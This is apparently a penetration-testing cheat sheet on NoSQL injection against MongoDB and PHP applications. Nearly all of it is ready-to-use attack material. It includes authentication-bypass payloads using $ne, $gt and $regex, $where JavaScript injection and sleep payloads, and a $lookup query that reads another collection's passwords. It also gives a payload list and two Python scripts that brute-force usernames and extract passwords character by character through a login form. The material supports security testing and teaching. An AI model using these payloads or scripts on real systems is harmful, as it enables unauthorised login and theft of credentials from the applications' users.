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NoSQL injection

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Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }
An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.
"user":{"$func": "var_dump"}
https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Get info from different collection

It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
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MongoDB Payloads

List from here
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)

Tools

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today: